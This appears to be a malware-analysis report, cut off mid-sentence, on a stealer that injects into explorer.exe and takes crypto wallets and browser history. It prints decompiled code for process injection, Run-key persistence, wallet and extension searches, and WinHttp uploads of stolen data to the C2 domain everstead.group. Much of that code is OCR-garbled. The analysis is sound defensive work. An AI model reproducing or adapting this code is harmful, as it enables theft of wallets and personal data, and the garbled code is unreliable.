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* New two-stage malware targets cryptocurrency wallets and browser history

o Leakylnjector uses low-level APIs for injection to avoid detection and injects LeakyStealer in
explorer.exe

o LeakyStealer implements a “polymorphic engine” that is able to modify its memory area with
hard-coded bytes at runtime

o Both were signed with valid Extended Validation certificate

» LeakyStealer beacons to the C2 server at regular intervals

e Multiple related samples use the same certificate infrastructure

Hybrid Analysis has analyzed a new two-stage malware that we’re naming Leakylnjector and
LeakyStealer. The duo performs reconnaissance on an infected machine and targets multiple
crypto wallets, including browser extensions corresponding to crypto wallets. The malware also
looks for browser history files from Google Chrome, Microsoft Edge, Brave, Opera, and Vivaldi.

The first stage (Leakylnjector) decrypts the ChaCha20-encrypted second stage (LeakyStealer)
and injects the payload into the explorer.exe process. The stealer computes the Bot ID
corresponding to the infected machine and establishes persistence using an entry under the Run
registry key. The malware implements a polymorphic engine that modifies memory bytes using
specific hard-coded values. LeakyStealer searches for crypto wallets such as Electrum, Exodus,
Atomic, Sparrow, Ledger Live, Guarda, and BitPay in addition to browser extensions like
MetaMask, Phantom, Coinbase, and Trust Wallet. Two backdoor commands are implemented:
downloading and executing a file, and executing Windows commands.

A Hybrid Analysis Perspective

The sample is a 64-bit Windows executable (approximately 30 MB, padded with null bytes) and is
signed with a valid digital certificate. The malware contains numerous debug strings and
artifacts, indicating minimal obfuscation.
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Figure 1 - File Summary

The malware establishes persistence by creating an entry under the Run registry key:

Faursd reg iy lpeabicn stnrgs avkich car -\.-:lll:,'.ll.':: mxmeute funetanslily

ety 3oy ma e (o a1 "t e e v r s 0 e sal iea 0 wrse il es r e, 18 F de "B RO 1A eh B 517 a5t g Sl G PN Byl ot S e A M R s B 1] G’

il gt g "H o e e W crn ot A dka e’y Caarms ntenid o Sien” (Inad e ior "and e re® mnocnosoty adrdosadl o onsentesngion’ynan”, in Sogros OO -CO00E 306 00 SO0 SGETFF D0 BOD000E radimip”]
woaroe Pl Wy
raleanea 5000
e Fure

ETTRCH 0D TISEF [Sowrwy lovbrvg o m teae W (THE ATTRCE™ mat

Figure 2 - Persistence through registry manipulation

Looking at the “HTTP Traffic” in the Hybrid Analysis report, we can identify HTTP POST requests
used for C2 communications. The domain was recently registered. The process connects to
45[.]151[.]162[.]120 on port 443 (TCP), using a browser-related user agent.
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Figure 3 - HTTP POST requests to the C2 server

The stealer is looking for different browser extensions corresponding to crypto wallets:
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Figure 4 - Crypto wallets are targeted

The malware reads browser-related files to retrieve the browser history, as highlighted in the figure
below.
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Figure 5 - Accessing browser-related data

A Deeper Dive

Leakylnjector analysis

The first stage - which we named Leakylnjector - is looking for the “explorer.exe” process on the

host:
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Toolhelp32Snapshot = CreateToolhelp32snapshot(2u,
if ( Toolhelp32Snapshot == (HANDLE)-1LL )
return @;
pe.dwSize = 304;
v3d = Toolhelp32Snapshot;
if ( !Process32First(Toolhelp32Snapshot, &pe) )
{
CloseHandle{v3);
return @;
i
do

{

it ( !stricmp(pe.szExeFile, explorer_exe) }
{
th3ZProcessID =
goto LABEL_9;
}

I
while ( Process32Next(v3, &pe) );

th32ProcessID = 8;

pe.th32ProcessID;

Figure 6 - The injector searches for the explorer.exe process

The malware injects the next stage into the explorer process using the low level APIs displayed

below.

if ( (int)NtAllocateVirtualHemory (BhProces
return 1)

lpndddress = E;

17 = BEla24;

if { [int)NtHritevirtualMenary(hProcess, Blpaddress
goto LAREL_A&;

¢4 = malloc{Px144580u) ;

%, @x1FFFFF, Bvis

')
i
VirtualFresEx(hProcess, lpAddress; @, OxBOSdu);
CloseHandle{bhProcess );
return 1}
}
wih = .__‘_;
W7 = Bunk_148803848 ;
for { & = 28756; 1; --1 )
Tihes = ¥ Taa

o

sub_l4e@e27ea(v21, Runk_148018600,
sub_l4e@ezsea(v21, v5, 83824):
¥l13 = E;

Bunk_l148@18B628, @);

¥ L

18) < @ )

, @, Bvl2, 12288, 4) < @ )

if { (int)MtProtectVirtualMemsry{hProcess, lpaddress, «5, 83824, &v13) < @ )

free{vs);
goto LABEL_28;
}
Free(vs);
i = ﬂ;
¢15 & .Fﬂdllﬂ
v14 = B3024;
if { (int)NtCreateThreadEx(hProc:

.
o |

-3 &.-'. E.-.

4, 64, Bv3) ¢ @ )
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Figure 7 - Perform process injection using low level APls

The stealer that we called LeakyStealer is stored in an encrypted form in the injector and is
decrypted using the ChaCha20 algorithm, with the key and nonce being hard-coded.

gmemcpy ((void *)al, “"expand 32-byte k", 18);
*( OWORD *){al + 18) = *{ OWORD *)a2:
Ji = *E DWORD '}E:_ + 16);
S5 = *{ QWORD *){a2 + 24);
*(_DWORD *){al + 48) = a4;
*( QWORD *)({ + 32) = 4;
#(_QUORD *)(al + 40) = v5;
*( QWORD *)(al + 52) = *{_QWo Ya3;
*( DWORD *)({ + BB) = *{ DWO ¥a3i + 8);
result = @:
*{_OWORD *){al + 128) = @;
return result;

Figure 8 - ChaChaZ20 algorithm is used to decrypt the stealer before it’s being injected

LeakyStealer analysis

The malware computes the Bot ID of the infected host by XOR-ing the “C:\” volume serial number
with the OXDEADBEEF constant. If not available, the Bot ID is initialized using the GetTickCount
function.

Strcpyth"-.!'w.:", "C:xku ¥
if ( GetVolumeInformationA(RootPathName, @, @, &/olumeSeriall e e 60

{
/3 meSerialNumbs

= Ve * @xDEADBEEF ;
if ( VolumeSerialNumbe

== BxDEADBEEF )
i = 322376583;
sub_7FFe5F492396@( " [DEBUG] Got persistent Bot ID from volume serial: XBBX\n", v3);
return v3;
¥
else
{

sub_7FFe5F49396@( " [DEBUG] Failed to get volume serial, using random ID\n");
return sub_7FF&SF4939FD();
s

Figure 9 - Bot ID value is computed

It retrieves the hostname, the username, and the domain assigned to the local machine (see
Figure 10).
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. = 256;
if [ !GetComputerNamesi{byte 7FF&5F4A4844, Bniize) )
1strepynéd(byte_7FF65F4A4044, "UNKNOWN®, 256);
= 156;
if [ !GetUserdNamed(byte_7FF65F4Ad1d4, & 13
lstrepynA(byte_7FFESF4A4144, "UNKNOWN", 256);
= 256;
if ( !GetComputerNameExd(ComputerNameDnsDomain, byte 7FF6S5F4A4244, &nsize) || 1lstrlena{byte_7FFE5F4A4244) )
Istrepynaibyte_7FFE5F4A4244, “WORKGROUP™, 256);
*(_DWORD *)&Stringl[64] = sub_7FFESF453ACD();
byte 7FFE5F4A4244[256] =

Figure 10 - Extract information that will be exfiltrated

The malicious process determines whether it's running with admin privileges using the
GetTokenInformation APl (Ox14 = TokenElevation):

= \ﬂ;
| = 8;
. Process = GetCurrentProcess();
if ( OpenProcessToken{CurrentProcess , Bu, ETokenHandle) )
i
Ratu £ 7 | = d;
if ( GetTokenInformation(TokenHandle, TokenElevation, &TokenInf n, du, &F | gth} )
= TokenInformation;
CloseHandle(TokenHandle);
}
if { va )
= "YES";
else
= "NO";
sub_7FFESF493960( " [DEBUG] Admin privileges: %s\n"; v1);
return vé;
Figure 11 - Determine if the malware is running with admin privileges
The binary connects to the everstead[.]group C2 server using a hard-coded user agent, as
highlighted below.
*{_OWORD *)&Stringl[6B8] = WinHttpOpen{L"Mozilla/5.@ (Windows NT 18.8; Wines; x64)", B, 8, @, 8);
if [ *(_QWorRD *)&Stringl[&8] )
{
*[_QWoRD *)&Stringl[78] = WinHttpConnect(*(HINTERNET *)&Stringl[e68], L"everstead.group”, @x1BBu, 8);
if { *(_QWoRD *)&Stringl[76] )
{
*{_DWORD *)&Stringl[84] = 1;
return 1;
}

Figure 12 - First connection to the C2 server

A field called “Traffic Tag” is initialized with the “convert” value. Figure 13 reveals the verbose
output containing information extracted in previous steps.
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dword_7FFESF4A44A8 igoee;
dword 7FFESF4A44A4 = 28;
lstrcpyA(Stringl, "convert");

if ( !(unsigned int)sub_7FF65F493BB6() )
return @;

if ( !'{unsigned int)sub_J7FFG65F491854() )
return @;

sub_7FF65F491538( " [DEBUG )| Beacon initializedyn™);

sub_7FF65F491538( " [DEBUG] Bot ID: %@8X\n", dword 7FFE5F4A4848);
sub_7FF&5F491538( " [DEBUG] Hostname: %s\n", byte 7FFSSF4A4844):

sub_ 7FFE5F491538( " [DEBUG] Username: %s\\Xs'\n", byte 7FF65F4A4244, byte TFFESF4A4144);
sub_7FF&5F491538("[DEBUG] Traffic Tag: %s\n", Stringl);

Figure 13 - Multiple debugging strings shown

Persistence

The stealer copies itself as “MicrosoftEdgeUpdateCore.exe” in the “%AppData%” directory. It
establishes persistence by creating an entry called “EdgeUpdateCore” under the Run registry key:

if [ loetModuleFileNamed(8, Filename, @xl@du) )
return 8;
if ( !GetEnvironmentVariablea("APPDATA™, Buffer, 8xledu) )
return 8;
wiprinttA[NewFileNase, "'-‘",'_.".,".*-'I;:"|,:'_.r)1"',Eclgd:l_,[l:hll_|_-l:|:r'1_~.|,'xr_' , Buft -'};
if ( |CopyFileA(Filer r, NewFileMame, @) )
return @;
SetFilefdttributesa(NewFileName, Gu);
if [ RegOpenkeyExA(HKEY_CURRENT_USER, "Software’\\Microsofth\'\Windows\\CurrentVersion\\RKun”, 8, 8x28806u, Ehkey) )
return 8;
vl = sub 7FFE5F494348(NewF L leNama);
RegSetValueExalhkey, "EdgeUpdateCore”™, 8, 1u, {(const BYTE *)INewFileName, vl + 1);

RegClosekey(hkey);

Figure 14 - Self-copy and persistence

LeakyStealer implements a “polymorphic engine” that is able to modify its memory area with hard-
coded bytes at runtime:
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sub_7FFGSF493E7@( " [DEBUG] Polymorphic engine starting...\n");
} iule = GetModuleHandleA{(2);

if ( ule )

{
rrentProcess = GetCurrentProcess();
if ( K32GetModuleInformation{CurrentProcess, hModule, &modinfo, Bx1Bu) )
{
1fo. lpBase0fDll = hModule;
.SizeOfImage = @x100008;

ExBEBAFECAEFEEADDEULL;
UK

= B;
lpBase0fDl]l = 1fo.lpBase0fDl];
- Image = {(char *)modinfo.SizeOfImage;
do
{
\ = sub_7FF6SF493EFB(1lpBase0fDl]l, Sizeo ge, &v2, v5);
if ( tva )
break;
if ( (unsigned int)sub_7FFE6S5F493FCC(v4, 16) )
40y
L pl = (LPVOID)(v4 + 18);
: = {(char *}modinfo.lpBaseQfDll + linfo,.Size0fImage - vd - 16;
g
while { (char *)modinfo.lpBase0fDll + linfo.SizeDfImage != (LPVOID){v4 + 16) );
sub_7FFGSF493E78( " [DEBUG] Polymorphic engine morphed %d locationsin®, ) H
return vo 1= B8;

Figure 15 - Modify bytes using a routine called polymorphic engine at runtime

The search is performed for the 8-byte marker “DE AD BE EF CA FE BA BE”. The process
changes the memory protection of the first 16 bytes (including the marker) using VirtualProtect
(0x40 = PAGE_EXECUTE_READWRITE). These 16 bytes are modified to a randomized
sequence of “no-operation” assembly instructions, such as 0x90 for NOP, “EB 00” for JMP 0x2, or
“66 90” for “XCHG AX, AX”. The code that performs the patching is fairly common and frequently
found in video game cheat engines. Its purpose in this sample remains unclear as it does not
change any actual code and limits the patching to the marker bytes.
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if ( virtualProtect{al, a2,
{
v1E = '|1;
19 = B;
while ( v19 < a2 )
{

iF (

> exip || vie
{
if ( vi7 » 8x31 || a2 ¢ vis
{
if ( v17 > exas ||
{
if (o » 8x54 ||
{
while ( v19 <
{
vid = 26256;
W = 15;
if ( v19 ¢ a2
{
v12 = {(unsigned
13 = BETS
18[v13] =
1
}
I
else
{
= "f++;
18[va] = =-115;
18 = w194+,
B[v10] = 64;
I = w194+
18[v11] = @;
i
1
else
{
= +¥
8[v7] = -120;

Bx48u, &fl0ldProtect) )}

= (unsigned int)sub_7FFB5FA4939B4() % Bx64d;
I— & - }

+ 2]

19 + 2}

B Y + 3 )

&8 (unsigned int)sub_7FFE5F4939B4() % 3 )

Figure 16 - Replace the 16 bytes containing the hard-coded marker using different bytes

The binary enters a loop that builds a registration packet that will be sent to the C2 server (Figure

17).
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vl = 83
sub_7FFESF49153@( " [DEBUG] Entering beacon loopin®);

while ( 1 )
{
if ( v1 )
{
sub 7FF65F4925FE();
}
else if ( (unsigned int)sub 7FFESF492868() )
{
vl = 1;
sub_7FF65F49153@(" [DEBUG] Successfully registered with server\n®);
g
else
{
sub_7FF&5F49153@(" [DEBUG] Failed to register, retrying...\n");
g

/B = sub_7FFBSF493CEL((unsigned int)dword 7FFESF4A44A8, (unsigned int)dword_7FFESF4A44A4) ;
sub_7FF&5F49153a( " [DEBUG] Sleeping for %d ms\n", vé);
sub_7FF65F493D52(v0);

Figure 17 - LeakyStealer is beaconing to the C2 server at regular intervals

The RtlIGetVersion and GetVersionExA methods are utilized to obtain the Windows version:

if ( !atleetversion || ((unsigned int {__ fastcall *)(int *))RtlGetVersion)(&v42) )
sub_FFFESF493E33(B5tring2, 156);
: ngp?.dwlSVersionInfoSize = 156;
if [ GetvVersionExA(&String2) )
{
wsprintfa(ve, “Windows %d.%d Build 4", String?.dwMajorVersiom, String?.dwMinorVersiom, Stringl.dwBuildNumber);
lstrepyA(Stringl, ve);
}
}
else
{
= "Unknown™ ;
if [ va3 1= 18 || vad )
{
if ( w43 == 6}
{
switch [ wad )
{
case 3:
63 = "§.1%;
break;
case 2:
vG3 = "8%;
break;
case 1:
Bl = .'."J
break;
case B:
vB3 = "Wista™;
break;
}
I

Figure 18 - Retrieve the Windows OS version
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Data exfiltration

The registration packet contains the “LOAD” magic string, the Bot ID, 0x01 (value corresponding
to a Registration packet), the admin flag, the traffic tag, the hostname, the username, the
Windows domain, and the OS version:

sub_7FFESF492899(vee, €);

sub_7FFESF492710(" [DEBUG] [PACKET] Reserved 4 bytes for length at offset @\n");
sub_7FFESF492899(vib, 128826246E8);

sub 7FFE5F492718( " [DEBUG] [PACKET] Added magic: @x%@8X ('LOAD') at offset 4\n", 12806262468);
sub_7FFE5F492899(v6@, (unsigned int)dword_7FF6SF4A4840);

sub_7FFE5F492710( " [DEBUG] [PACKET] Added bot ID: @x¥%@8X at offset 8\n", dword 7FFE5F4A4848);
sub_7FFE5F4929@F (vid, 1);

sub_7FFeS5F492718(" [DEBUG] [PACKET] Added packet type: 8x81 (REGISTER) at offset 12%\n");

57 = *(_DWORD *)&::S5tringl[sd] I= 8;

sub_7FFESF49290F (ved, *(_DWORD *)}&::Stringl[ea] != @);

sub_7FFE5F492718( " [DEBUG] [PACKET] Added admin flag: @x%82x at offset 13\n", v&57);

/56 = sub_7FFESF494388(;:5tringl);

sub_JVFFeSFa9z2age(vee, ::5tringl);

sub_7FFES5F492710( " [DEBUG] [PACKET] Added traffic tag: "¥s° (len=%d)\n", ::5tringl, v56);

/55 = sub FFFESF4943A8(byte 7FFESF4A4044) ;

sub FFFESF492a8B8(ved, byte 7FFBESF4A4844);

sub_7FFE5F492718( " [DEBUG] [PACKET] Added hostname: '%s' (len=%d)\n", byte 7FF6SF4A4844, v55);
/54 = sub_VFFESF494380 (byte /FFESF4A4144);

sub FFFESF492A88(vae, byte TFF6GF4A4144);

sub_7FFE5F492718("[DEBUG] [PACKET] Added username: "%s' (len=%d)\n", byte_7FF65F4Ad4144, v5d);
/53 = sub FFFESF4943A8(byte 7FFESF4A4244);

sub_7FFE5F492A80(v60, byte 7FF65F4A4244);

sub_7FFeSF49271a(" [DEBUG] [PACKET] Added domain: "%s' (len=%d)\n", byte_VFFeSFdAd244, v5i);
/52 = sub_7FFB5F4943AB(Stringl);
sub_7FFESF492a8@(vel, Stringl);

sub_7FFE5F492710( " [DEBUG] [PACKET] Added 0S: ‘%s' (len=%d)\n", Stringl, v52);
/51 = sub_7FFE5F495040();

Figure 19 - Registration packet is constructed

Address Hex ASCIT

0000022371C0DAD30 |00 00 00 50(4C 4F 41 44 (B0 DD A5 1E(01 01 00 OF [L..PLOAD *Y¥.....
000002237 1CDAD40 (63 6F GE 76|65 72 74 O0(0OF 44 45 53| 4B 54 4F 50| convert. .DESKTOP
0000022371CDADS0| 2D 30 44 32|51 31 52 53|00 04 70 6C(65 &2 00 09(-0D2QI1RS..pleb..
0000022371CDADG0 (57 4F 52 4B|47 52 4F 55|50 00 17 57|69 6E 64 6F | WORKGROUP..windo
0000022271CDADZO( 77 73 20 21|20 20 28 42|75 69 6C 64|20 31 23 23 (ws 10 (Build 133
0000022371CDADSO (37 29 00 00|00 00 OO0 OO|CE D8 7D 7C|00 1A 00 80| 7Fles..as Iﬁ}l....
0000022371CDADS0|(FF FF FF FF|FF FF FF FF|0OD 00 00 00|00 OO0 OO0 OO0 | ¥y, . ou..u.
000002237 1CDADAC (00 OO0 OO0 OOD|00 OO0 OO0 OO0 (00 OO OO0 00|00 00 00 00| @ veeee s annannns
000002237 1CDADBO (00 OO0 OO0 OOD|00 OO OO0 OO0 (00 OO0 OO0 00|00 00 00 00| cveaesansnnannns

Figure 20 - Example of a registration packet

LeakyStealer is looking for cryptocurrency wallets such as Electrum, Exodus, Atomic, Sparrow,
Ledger Live, Guarda, and BitPay:
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if ( SHGetFolderPatha(@, 26, @, @, pszPath) )
return @;
if ( sHGetFolderPatha(e, 28, &, @, v3) )
return @;
if ( SHGetFolderPatha(@, 28, @, @, Stringl) )
IstrcpyA(Stringl, "C:\\Program Files");
wsprintfA(vs, "%s\\Bitcoin", pszPath);
if ( (unsigned int)sub_7FFG65F4958FF(v5) )
{
if ( vE )
sub_7FFE5F494685(string2, ",");
sub_ 7FF65F494685(5tring?, "Bitcoin Core");
'._.-ﬂ = l;
}
wsprintfa(vs, "¥s\\Electrum", pszPath};
if { (unsigned int)sub_7FFESF4958FF(vs) )
{
if ( vE )
sub_7FFE5F494685(string2, ",");
sub 7FFE5F494685(string?, "Electrum");
vB = 1;
}
wsprintfa(vs, "¥s\\Exodus", pszPath);
if { (unsigned int)sub_7FFESF4958FF(vs) )
{
if ( vE )
sub_7FFE5F494685(string2, ",");
sub_7FFE5F494685(5tring2, "Exodus");
vB = 1;
}
wsprintfA(vs, "®s\\atomic", v3);
if ( (unsigned int)sub_7FFG65F4958FF(v5) )
{
if ( vE )
sub_7FFE5F494685(string2, ",");
sub 7FF65F494685(String?, "Atomic Wallet");
'._.-ﬂ = l;
}

Figure 21 - Multiple crypto wallets are targeted

Cryptocurrency browser extensions such as MetaMask, Phantom Wallet, Coinbase Wallet, and
Trust Wallet are also targeted:
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wsprintfA(vs, "%s‘\\Google'\Chrome'\User Data‘‘\Default\\Extensicns\\nkbihfbeogaeacehlefnkodbefgpgknn”, v3);
if { (umsigned int)sub_7FFGSFA958FF(vs) )

if ( wa )
sub_7FFBSF494685(String2, ",");
sub_FFFESF494685({string2, “MetaMask™]};
vB = 1;
}
wsprintfafvs, “¥s'\\Google\\Chrome'\User Data‘‘\Default'\Extensicons\\bfnaelmomeimhlpmginjophhpkkoljpa”, v3);
if { (umsigned int)sub_7FFBSF495BFF(vs) )
{
if (va)
sub_TFFBESF4946B5(String2, ",");
sub_7FFeSFA946B5(5tring2, "Phamtom Wallet™);
vB = 1;
}
wsprintfa(vs, “%s‘\\Google'‘\Chrome'\User Data‘‘\Default'\Extensicns\\hnfanknocfecfbddgcijnmhnfnkdnaad”, v3);
if { (umsigned int)sub_7FFGSF43SEFF(vS) )

if ( w3 )

sub_7FFBSF494685(string2, ",");
sub_FFFESFA946B5(5tring, "Coimbase Wallet");
vE = 1;

1
wsprintta(vs, "Es\\Google\\Chromei\User Data‘\Default)\Extensions)\egjidjbpglichdcondbcbdnbespppdph™, v3i);
if { (unsigned int)sub_TFFGSF49SBFF(vS) )

{
if ( w3 )
sub_7FFESF494685(5tring2, ", )
sub_FFFESFA94BB5(5tring2, "Trust Wallet™);
vB = 1_;
}

wsprimtfaAl{vs, "%Es\‘\Mozilla‘\\Firefox\\Profiles", pszPath);

sub_T7FFESFAG58FF(v5);

wsprintfa(vs, "Zs'\\Microscft\\Edge'\\User Data\\Default\\Extensions\‘\nkbihfbecgaeacehlefnkedbefgpgknn”, vi};
if { (unsigned int)sub_7FFA6S5F4958FF(vS) B& !sub_7FFASF494457(String?, “MetaMask™) )

Figure 22 - Crypto browser extensions
The malware exfiltrates the registration packet to the “/api/beacon” URI. The server’s response is

received and read using the WinHttpReceiveResponse and WinHttpReadData functions (Figure
23).
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sub_7FFESF491888( " [DEBUG] [TRANSPORT] Sending %u bytes to serverin”; al);

v1E8 = @;
Buffer = 8;

dwBufferLength = 4;
V14 = BxBoaees;

nEequest = WinHttpOpenRequestT(* (HINTERNET *)&Stringl[78], L7POST", L"fapi/beacon™, @, @, 8, Ox3500008u);

if ( hReguest }

{

lpszHeaders = L"Content-Type: application/octet-stream”;

sub FFFESF491888( " [DEBUG] [TRANSPORT] Sending HTTP POST to XES5ES\n", L"everstead.group”, L"/fapi/beacon™};
if ( WinHttpSendRequesti{hRequest, L"Content-Type: application/foctet-stream”, @xFFFFFFFF, al, a2, a2, @) )

.[

if ( WinHttpReceiveResponselhRequest, @) )

{

if ( WinHttpQueryHeaders(hReguest, 8x20000013w, 8, EBuffer, &dwBufferLength, @) )

sub TFFE5F4918@0( " [DEBUG] [TRANSPORT] HTTP Status Code: Xd\n",
if { Buffer == 208 )

if ( a3 8& a4 )

{
dwNumberofBytesavailable = 8;
dwhumbe rOFE
vl? = 8;
vlE = @;
do
{

dwHumberOfBytesavailable = 8;

Buf

fer);

if { !wWinHttpQueryDataAvailable(hRequest, &dwNumberOfBytesAvailable) )

break;
if { !dwiumberOfBytesAvailable )
break;

vlé = (char *)sub_7FF&5F493DAS(v16, dwhNumberOfBytesivailable + w17

if { !'vig )

break;

if { !WinHttpReadData({hRequest, &v1e[vl7], dwhumberOfBytesdvailable, &dwNumberOfBytesRead) )

{
sub_7FFESF453DF8(v16);

vl6 = @;
break;

}

Figure 23 - Server’s response is received and parsed

The binary extracts the history file from the following browsers: Google Chrome, Microsoft Edge,

Brave, Opera, and Vivaldi.

+ 1);

aGoogleChromelUs db '‘\Google'Chrome\User Data‘\Default\History',8

DATA XREF:

1

align 2@h

.data:off _7FF&SF49E@18To

aMicrosoftEdgeU db '‘\Microsoft\Edge'\User Data‘\Default\History',@

DATA XREF:

1

align 1@h

aBravesoftwareB db "‘\BraveSoftware\Brave-Browser\User Data‘\Default\History',®
.data:nff_?FFﬁGFd@Fﬁ?ﬁTn

DATA XREF:

1

align 8

a0perasoftwareQ db "‘\Opera Software\Opera Stable\History',®

DATA XREF:

1

align 1@h

.data:off _7FFGSF49E@18To

.data:off _7FFGSF49E@28To

a0peraSoftware0 @ db '‘\Opera Software‘\Opera GX Stable\History',®

DATA XREF:

1

; DATA XREF:

1

.data:off _7FFGSF49E@38To

avivaldiUserDat db '‘vivaldi‘User Data‘Default‘\History',®
.data:ﬂff_?FFﬁGFd@Fﬁ?ﬂTn

14/27


https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYKn7q7d9028tAWmVBx7qM2ZkkJurkw2oT_yA9Ap3G45SRJ1Ys0MQ8rNBqQZ5c7Sx2VL3DzYoDnYhPgjxmHlcGeauePhPc_321VG48gVN0sGnGz9Tkm0OyBUHOs3XbL7pEbGuzavOdSHLcHKaYnemwdArinotKw820UdWZc5oJEGrgBZoLs_1MSc-jrww/s806/23.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYKn7q7d9028tAWmVBx7qM2ZkkJurkw2oT_yA9Ap3G45SRJ1Ys0MQ8rNBqQZ5c7Sx2VL3DzYoDnYhPgjxmHlcGeauePhPc_321VG48gVN0sGnGz9Tkm0OyBUHOs3XbL7pEbGuzavOdSHLcHKaYnemwdArinotKw820UdWZc5oJEGrgBZoLs_1MSc-jrww/s806/23.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV-Lcv-j1D94ut8_N319eH01xAL-EU0EKj2fLKmTmvv-wURTIDlZNM0XjHNcfZaRE4ci5dLLhQEC4xFVB61XjRqIG7iqNdhMAANscfxYclLzvqm9hfRrerDyQLjfxpxxqVdBbfnJ8fsdQEC1vryna1ltwtgNdXwi5k_Uh-EU7Box1Dmwz1E3IAEU0geNg/s588/24.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV-Lcv-j1D94ut8_N319eH01xAL-EU0EKj2fLKmTmvv-wURTIDlZNM0XjHNcfZaRE4ci5dLLhQEC4xFVB61XjRqIG7iqNdhMAANscfxYclLzvqm9hfRrerDyQLjfxpxxqVdBbfnJ8fsdQEC1vryna1ltwtgNdXwi5k_Uh-EU7Box1Dmwz1E3IAEU0geNg/s588/24.png

Figure 24 - Obtain the history file from multiple browsers

Every history file found is copied to the temporary folder as “history_%d.db”, where “%d” is
generated via a function call to GetTickCount. The malware reads these files in memory and

deletes them afterward using the DeleteFileA API, as highlighted below.

if { !GetTempPathA{@x184u, (LPSTR)&vS + &4) )
return 8;
T ount = GetTickCount();
wsprintfa(Buffer, "¥shistory_X%d.db", Buffer
if { !'CopyFilea{al, Buffer, @) )
return 8;
hFile = CreateFileA(l fer, Bx8poeoeae, lu, @, 3u, BxBau, @);
if ( hFile == {(HANDLE)-1LL )
{
FJD'I&TDF".'IM:{- Fer :IJI
return @;
b
else
{
LODWORD({ dwBytes) = GetFileSize(hFile, @);
if ( (_DWORD)dwBytes == =1 || !{ DWORD)dwBytes )
goto LABEL_13;
if { (unsigned int)dwBytes » @xAG2820 )
LODWORD(dwBytes) = 18485768;
'S = (unsigned int)dwBytes;
ProcessHeap = GetProcessHeap();
*(_QWORD *)a3 = HeapAlloc(ProcessHeap, 8u, v5);
if { *{_QWORD *)a3 )
i
if ( ReadfFile(hFil
{

TickCount);

r

., *(LPVOID *)a3, dwBytes, &N

*(_DWORD *)(a3 + 8) = NumberOfBytesRead;
lstrcpyA((LPSTR)}{a2 + 12), a2);
¥ L = 1 ;

s

Figure 25 - Create copies of history files, read them, and then delete them afterwards

The browser history is exfiltrated to the C2 server using the “/api/beacon/history” URI. We observe

that the stealer adds the “X-Bot-Id” header in the request:
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sub FFFESF491888( " [DEBUG] [TRANSPORT] Uploading binary data to %s (size: %u bytes)\n™, al, a3);
hRequest = 8;
vid = 8;
Buffer[@] = @;
dwBufferLength = 4;
MultiByteToWideChar{8, 8, al, =1, WideCharStr, 256);
Buffer[1l] = exBRE00E;
hReguest = WinHttpOpenRequest(*(HINTERNET *)A&Stringl[7e], L"POST", WideCharStr, 8, 8, 8, 9xE00880u);
if { hRequest )
{

wsprintfW(szHeaders, L"Content-Type: application/octet-stream\r\nX-Bot-Id: X@8X", ad);

sub_7FFE5F49188@( " [DEBUG] [TRANSPORT] Sending binary upload to ¥5%s'\n", L"everstead.group”, al);

if ( winHttpSendRequest{hRequest, szHeaders, OxXFFFFFFFF, a2, a3, a3, @) )

{

if ( WinHttpReceiveResponse(hReguest, @) }
i
if ( WinHttpQueryHeaders{hReguest, 0x20800813u, 8, Buffer, &dwBufferLength, @) )
{
sub_7FFE5F49180@( " [DEBUG] [TRANSPORT] HTTP Status Code: ¥d\n", Buffer[@]);
if ( Buffer[®] == 200 )

{
wild = 1;
sub_7FFeSF4918ee( " [DEBUG] [TRANSPORT] Binary upload successfulin®);
}
else
{
sub_7FF65F491808( "[DEBUG] [TRANSPORT] ERROR: HTTP error code %d\n", Buffer[8]);
}

}

Figure 26 - Browser history files are sent to the C2 server
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Path: fapi/beacon/history
Client: 127.06.8.1:49696

--- Headers ---

Connection: Keep-Alive

Content-Type: applicationfoctet-stream

User-Agent: Mozilla/5.8 (Windows NT 108.8:; Win6d; x64)
¥X-Bot-Id: BEDDAS1E

Content-Length: 950272

Host: everstead.group

-—— Payload (058272 bytes) ——-
; AC 69 74 65 20 o& L A 33 e SOLite format 3.

Bea30a1e 30 81 e1 48 28 2¢
fbOBEe25 0 60 68 29 08 00 B0
Becaee38 a0 60 e ea 88 a8

2800eadd 22 28 g 98 8e
00000050 ©0 00 00 00 00 00 00
00PE0OE0 00 2E 72 A2 @5 00 00 ¢
60000070 OF FB 00 00 00 00 00
00000080 ¢ 0 00 00 00 00
00020090 20 0 00 00 00 00 o
000000AD 00 00 00 00 08 00 00 Oe
0GOAGOBD 00 00 00 00 00 00 00
000000CO ©0 00 00 00 08 00 00

Figure 27 - Example of exfiltrating the browsing history files
The server’s response has the following structure: “LOAD<1-byte Command type><4-byte

Command length><Command>". The command type can be 0 (No command from the server), 1
(two commands implemented by the stealer), and >=2 (Unknown command type).
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sub_7FFE5F49188a(" [DEBUG] [RESPONSE] Processimg server response: %u bytes\n", (unsigned int)a2);

if ( lal |] az <= 7 )

return sub_7FF&5F491888( "[DEBUG] [RESPONSE] Response too small or null (size=Eu)\n", a2);

vli2 = al;
v1l = 8;
sub_7FFESF491800(" [DEBUG] [RESPONSE] First 32 bytes (hex):\wn");

L S L r
if ( a2 » @xiF )

Vi = 32;
else
w3l = al;
v10 = v3;
for ( 1 =@; 1 € vig; ++i )
{
if (i »@8 &8 (i & @xF) == @ )
{
*vld = @;
sub_7FF65F491800( "[DEBUG] [RESPONSE]  Xs\n", v5);
¥
wsprintfa(via, "¥82¥x °, *(unsigned int8 *Y{(i + v12));
vid = 33
1
if ( vs < 1)
{
*14 = @;
sub_7FF65F49180@( "[DEBUG] [RESPONSE]  %s\n", v5);
1
v® = (*(unsigned _ int8& *){wvll + 2 + vl2) << B)
| (*(unsigned intd *){vll « 1 + w12) << 16)
| {*{unsigned _ int& *){vlil + w12} << 24)
| *(unsigned _ int& *){vil + 3 + v12);
w1l += 4;

¥

sub_7FFG5F49180a(~ [DEBUG] [RESPONSE] Magic at offset @: @xX@8X (expected @x%88X)\n", v9, 1280262468);

if [ vo l= 1288262458 )

return sub_YFF&S5F491888( " [DEBUG] [RESPONSE] ERROR: Invalid response magichn™);

A

vd = ylled;
vE = *{_BYTE *){vd + v12);

sub_7FFESF49188a( " [DEBUG] [RESPONSE] Command type at offset 4: @xX82xwin", v

if ( v )

return sub_7FFES5F491838( " [DEBUG] [RESPONSE] Mo command from serverin™);

Figure 28 - Specific packet structure is expected from the C2 server

Stealer Commands

The first command is used to download and execute a file from the C2 server. It has the

